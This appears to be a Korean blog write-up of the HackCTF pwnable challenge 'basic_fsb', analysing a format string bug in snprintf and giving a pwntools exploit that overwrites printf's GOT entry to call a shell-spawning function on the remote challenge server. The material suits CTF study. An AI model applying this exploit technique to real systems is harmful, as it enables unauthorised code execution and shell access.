문제 풀이 환경 : ubuntu 20.04 |
문제 푸는 경험?이 부족한 것 같아서 HackCTF 포너블 파트를 공략해보려고 한다. 롸업을 최대한 보지 않고 푸는 것이 목표다.
주어진 파일은 문제 바이너리 파일 뿐이다. IDA로 까보자.
Analysis
flag 함수
사실 가장 먼저 보인건 저 flag 함수 ㅎㅎ... 보니까 그냥 "/bin/sh" 실행시켜준다
main 함수
vuln 함수
주목해야할 건 vuln 함수이다. 저기서 fsb가 터진다. 취약한 line은 8번 9번 라인이다. 포맷스트링을 사용하지 않기 때문!
int snprintf (char *buffer, int buf_size, const char *format, ...)
참고로 BOF는 일어나지 않는다.
format 크기는 0x408 = 1032
s 크기는 0x400 = 1024
How to exploit
vuln 함수에서 fsb가 터질 거 같으니 트리거해서 문제를 풀어보자.
offset = 2
32bit라서 간단하게 fmtstr_payload 함수 사용할건데 flag함수를 덮을 적당한 got를 생각해내는게 생각보다 힘들었다. 어차피 취약한 곳은 두 곳이니, 8번 line의 snprintf 함수에서 터지는 fsb를 공략하기로 하고 printf의 got를 덮자고 계획하였다.
Let's exploit!
아래는 익스 코드
from pwn import *
#p = process('./basic_fsb')
p = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('./basic_fsb')
printf_got = e.got['printf']
flag = e.symbols['flag']
print(hex(printf_got))
# offset = 2
payload = fmtstr_payload(2, {printf_got:flag})
#pause()
p.sendlineafter(': ',payload)
p.interactive()
반찬으로 포맷스트링을 권유받았다.
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (32bit, ROP) (0) | 2021.03.05 |
---|---|
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode) (0) | 2021.03.04 |
[HackCTF : Pwnable] ROP 풀이 (일단 익스코드만) (0) | 2020.09.26 |
[HackCTF : Pwnable] Basic_BOF #2 풀이 (0) | 2020.09.22 |
[HackCTF : Misc] BF 풀이 (0) | 2020.08.20 |